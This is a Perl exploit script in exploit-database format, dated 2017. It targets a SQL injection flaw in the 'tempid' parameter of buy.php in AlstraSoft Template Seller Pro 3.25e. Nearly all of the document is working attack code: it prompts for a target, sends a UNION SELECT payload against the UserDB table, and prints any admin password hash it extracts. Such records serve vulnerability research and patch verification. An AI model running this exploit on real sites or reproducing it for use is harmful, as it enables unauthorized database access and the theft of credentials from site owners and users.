Alstrasoft Template Seller Pro 3.25e - 'tempid' SQL Injection

#!/usr/bin/perl -w
# # # # # 
# Exploit Title: AlstraSoft Template Seller Pro v3.25e Script (buy.php)- Remote SQL Injection Vulnerability
# Google Dork: N/A
# Date: 04.02.2017
# Vendor Homepage: http://www.alstrasoft.com/
# Software Buy: http://www.alstrasoft.com/template.htm
# Demo: http://blizsoft.com/templates/
# Version: 3.25e
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "|----------------------------------------------------|\n";
print "| Template Seller Pro v3.25e Remote SQL Injector     |\n";
print "| Author: Ihsan Sencan                               |\n";
print "| Author Web: http://ihsan.net                       |\n";
print "| Mail : ihsan[beygir]ihsan[nokta]net                |\n";
print "|                                                    |\n";
print "|                                                    |\n";
print "|----------------------------------------------------|\n";
use LWP::UserAgent;
print "\nInsert Target:[http://wwww.site.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress...\n";
print "\n";
$elicha="group_concat(user_name,char(58),user_password)";
$table="UserDB";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "buy.php?tempid=-1+union+select+1,2,3,".$elicha.",5,6,7,8+from/**/".$table."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n";
print "[+] Success !!\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}